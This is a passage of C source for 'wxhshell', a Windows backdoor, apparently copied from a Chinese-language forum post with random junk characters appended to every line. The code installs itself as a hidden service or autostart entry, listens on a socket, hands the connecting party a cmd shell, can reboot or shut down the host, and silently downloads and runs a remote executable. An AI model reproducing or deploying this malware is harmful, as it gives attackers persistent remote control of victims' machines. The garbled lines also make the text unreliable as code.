  } gOF^?M11x  
  else { p9v:T1 ?  
7=-Yxt  
    switch(cmd[0]) { 8>KUx]AN  
  g=Xf&}&=x  
  // 帮助 ~\":o:qyc  
  case '?': { {>>X3I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %>+uEjbT  
    break; zPt<b!q  
  } `Ba]i)!  
  // 安装 #g{R+#fm  
  case 'i': { Yy*=@qu>g  
    if(Install()) fi?4!h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DbGS]k<$  
    else O8]e(i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yD+4YD  
    break; C`5'5/-.  
    } yl[I'fX66  
  // 卸载 HTQZIm  
  case 'r': {  -WC0W  
    if(Uninstall()) j|!,^._i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4BCPh:  
    else (Pc>D';{S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fh#QS'[  
    break; 7l* &Fh9;  
    } TgiZ % G  
  // 显示 wxhshell 所在路径 2<D| {  
  case 'p': { X^\D"fmE.  
    char svExeFile[MAX_PATH]; P6+ B!pY  
    strcpy(svExeFile,"\n\r"); nI:M!j5s`  
      strcat(svExeFile,ExeFile); erH,EE^-x<  
        send(wsh,svExeFile,strlen(svExeFile),0); b RAD_  
    break; JR!-1tnc  
    } jTa\I&s,A  
  // 重启 4H{t6t@-:  
  case 'b': { 7^dr[.Q[*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "*d6E}wG  
    if(Boot(REBOOT)) \^)i!@v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gd;!1GNi]  
    else { #Oka7.yz  
    closesocket(wsh); VN`.*B|9[  
    ExitThread(0); sfF~k-  
    } ~I|| "$R  
    break; G6p gG+w  
    } e=i X]%^  
  // 关机 >wW{ $  
  case 'd': { VbX P7bZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ] Lv3XMa  
    if(Boot(SHUTDOWN)) o[Ffa# sE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |A&;m}(Mt  
    else { 8$IKQNS  
    closesocket(wsh); $d<NN2  
    ExitThread(0); >@vu;j\*E5  
    } b-u@?G|<  
    break; 9nFL70  
    } Sn nfU  
  // 获取shell _3Eo{^  
  case 's': { gFR}WBl/  
    CmdShell(wsh); $qD\ku;'  
    closesocket(wsh); m23"xnRB  
    ExitThread(0); [qc1 V%g  
    break; NLy4Z:&{  
  } X4%uY  
  // 退出 ]?6wU-a  
  case 'x': { 8iIp[9~=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \U:OQ.e  
    CloseIt(wsh);  2%@tnk|@  
    break; ajSB3}PN  
    } M@[W"f Wq  
  // 离开 &gCGc?/R#  
  case 'q': { y3~`qq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u W]gBhO$O  
    closesocket(wsh); ?%,LZw^[  
    WSACleanup(); T5:Q_o]  
    exit(1); QAkK5,`vV.  
    break; |=0vgwd"S  
        } 9pLe8D  
  } x Lan1V  
  } OAXA<  
nM[yBA  
  // 提示信息 I=!kPuw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NBk0P*SI  
} ?I+{S  
  } hF'VqJS  
u@Hz7Q} P  
  return; $_S-R 3L\  
} #)'Iqaq7  
)LGVR 3#  
// shell模块句柄 d6n_Hpxw^  
int CmdShell(SOCKET sock) xJ>5 ol  
{ D!.c??   
STARTUPINFO si; coXg]bUKo  
ZeroMemory(&si,sizeof(si)); ?t 'V5$k\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Im6gWDdq@6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v0 C+DKi  
PROCESS_INFORMATION ProcessInfo; O#D{:H_dD>  
char cmdline[]="cmd"; aM~IRLmK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cKTjQJ#  
  return 0; riW9l6s'  
} J _rrc;F  
}ny7LQ  
// 自身启动模式 #B\s'j[A"  
int StartFromService(void) j|KDgI<0  
{ -,y p?<  
typedef struct ]Thke 4  
{ t4oD> =,92  
  DWORD ExitStatus; <tvLKx  
  DWORD PebBaseAddress; (.UU40:t  
  DWORD AffinityMask; n.g-%4\q  
  DWORD BasePriority; 8:0/Cj  
  ULONG UniqueProcessId; h *R@ d  
  ULONG InheritedFromUniqueProcessId; r^5%0_F]  
}   PROCESS_BASIC_INFORMATION; bTJ<8q  
p8'$@:M\  
PROCNTQSIP NtQueryInformationProcess; |R.yuSL)(  
-riX=K>$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f#z:ILG=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ch]d\GM  
e@P(+.Ke  
  HANDLE             hProcess; ~cc }yDe  
  PROCESS_BASIC_INFORMATION pbi; lTC0kh  
ao)';[%9s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 35l%iaj]G5  
  if(NULL == hInst ) return 0; /ZyMD(_J  
,IB\1#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DQGrXMpV0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FO*Gc Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5Npxs&Ea  
]hV!lG1_  
  if (!NtQueryInformationProcess) return 0; ;`oK5  
fg LY{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M P8Sd1_=  
  if(!hProcess) return 0; Hs)Cf)8u  
e,|gr"$/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /3M8 ;>@u  
*H!BThft4  
  CloseHandle(hProcess); 'LMj.#A<g  
rfk{$g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q yw@ r  
if(hProcess==NULL) return 0; Y#}qXXZ>]  
sT;wHtU  
HMODULE hMod; Y\9}LgIvr  
char procName[255]; pVc+}Wzh  
unsigned long cbNeeded; Qs\a&Q=0H  
U)G.Bst  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e*Wk;D&  
x*H#?.E  
  CloseHandle(hProcess); +j{Cfv$do  
Il [~  
if(strstr(procName,"services")) return 1; // 以服务启动 !JXiTI!  
~vz%I^xW  
  return 0; // 注册表启动 TVNgj.`+u!  
} A,F~*LXm  
qFWN._R  
// 主模块 Srx:rUCv  
int StartWxhshell(LPSTR lpCmdLine) x|m9?[ !_  
{  igo9~.  
  SOCKET wsl; t,r]22I,`  
BOOL val=TRUE; 2PAu>}W*  
  int port=0; >Lo\?X~  
  struct sockaddr_in door; >e {1e  
bL xZ 5C7t  
  if(wscfg.ws_autoins) Install(); E !ndXz 59  
&%rM|  
port=atoi(lpCmdLine); l Xa/5QKC  
IW~wO  
if(port<=0) port=wscfg.ws_port; `h@fW- r  
\96\!7$@O  
  WSADATA data; Zp)=l Td  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $w*L' <  
4|K\pCw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UF7h{V})  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f|,Kh1{e  
  door.sin_family = AF_INET; %[|^7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &:l-;7d  
  door.sin_port = htons(port); `rVru= zoy  
|'z8>1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E[t0b5h  
closesocket(wsl); s $Vv  
return 1; }. &ellNQ  
} y7hDMQ c'  
>$'z4TC\T  
  if(listen(wsl,2) == INVALID_SOCKET) { d%|l)JF*5  
closesocket(wsl); v82wnP-~7  
return 1; ;p+'?%Y}  
} To(I<W|{  
  Wxhshell(wsl); :\|A.# U  
  WSACleanup(); GqHW.s5  
=dPokLXn  
return 0; Kkp dcc  
0Ncpi=6  
} |^l_F1+w  
{V/>5pz4e  
// 以NT服务方式启动 \Wfw\x0.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [uU!\xe  
{ AY5iTbL1  
DWORD   status = 0; Y5tyFi#w[  
  DWORD   specificError = 0xfffffff; T)gulP  
^7y t>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3'.@aMA@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bVUIeX'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n/skDx TE  
  serviceStatus.dwWin32ExitCode     = 0; k^Qf |  
  serviceStatus.dwServiceSpecificExitCode = 0; N#l2wT  
  serviceStatus.dwCheckPoint       = 0; ?)1Y|W'Rv  
  serviceStatus.dwWaitHint       = 0; xoo,}EY  
kY$EK]s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I Id4w~|  
  if (hServiceStatusHandle==0) return; XY| y1L 3[  
44} 5o  
status = GetLastError(); f7a4E+}  
  if (status!=NO_ERROR) &1Ndi<Y^  
{ _94 W@dW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ??"_o3  
    serviceStatus.dwCheckPoint       = 0; YHEn{z7  
    serviceStatus.dwWaitHint       = 0; i#V(oSx  
    serviceStatus.dwWin32ExitCode     = status; d[_26.  
    serviceStatus.dwServiceSpecificExitCode = specificError; W+&5G(z~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C=+9XfP0  
    return; I5M\PK/  
  } KzVi:Hm  
}AS/^E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5z_d$.CIc  
  serviceStatus.dwCheckPoint       = 0; 5VV}wR  
  serviceStatus.dwWaitHint       = 0; m'N AM%$}J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !vnC-&G  
} cR3d& /_,U  
es*$/A  
// 处理NT服务事件,比如:启动、停止 Dylm=ZZa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9;#RzelSp  
{ AI2XNSV@Yl  
switch(fdwControl) OPNRBMD  
{ I uxf`sd  
case SERVICE_CONTROL_STOP: uHI(-!O  
  serviceStatus.dwWin32ExitCode = 0; -!XG>Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]B3](TH"  
  serviceStatus.dwCheckPoint   = 0; W,@ F!8  
  serviceStatus.dwWaitHint     = 0; V#oz~GMB  
  { x{:U$[_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wGti |7Tu*  
  } vntJe^IaFd  
  return; &DMC\R*j  
case SERVICE_CONTROL_PAUSE: S=k!8]/d|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y$L` G  
  break; +fk*c[FG  
case SERVICE_CONTROL_CONTINUE: (%fQhQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]u5TvI,C  
  break;  _BP%@o  
case SERVICE_CONTROL_INTERROGATE: ^f,4=-  
  break; #tR:W?!  
}; 8Q Try%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4 "2%mx:  
} WRD z*Zf  
{c*$i^T  
// 标准应用程序主函数 )P(S:x'b0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v8-My1toV  
{ Q("m*eMRt  
9}6_B|  
// 获取操作系统版本 mEJ7e#  
OsIsNt=GetOsVer(); hq7f"`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MZz9R*_VS  
Rmw=~NP5  
  // 从命令行安装 z}Cjk6z@  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9:{<:1?  
I#MPJ@*WT  
  // 下载执行文件 :Tpf8  
if(wscfg.ws_downexe) { z[f]mU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H7'42J@  
  WinExec(wscfg.ws_filenam,SW_HIDE); QDn_`c  
} "zcAYg^U  
$jMA(e`Ye0  
if(!OsIsNt) { @_C]5D^J^~  
// 如果时win9x,隐藏进程并且设置为注册表启动  [^ }$u[  
HideProc(); TAUl{??,  
StartWxhshell(lpCmdLine); 4+hNP'e  
} aA4RC0'  
else iAH,f5T  
  if(StartFromService()) t5E$u(&+'B  
  // 以服务方式启动 :XY%@n  
  StartServiceCtrlDispatcher(DispatchTable); wG)e8,#  
else qefp3&ls  
  // 普通方式启动 Gt*<Awn8  
  StartWxhshell(lpCmdLine); :z8/iD y  
zh2<!MH  
return 0; f$>_>E  
}
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只看该作者 1 发表于: 2006-10-10
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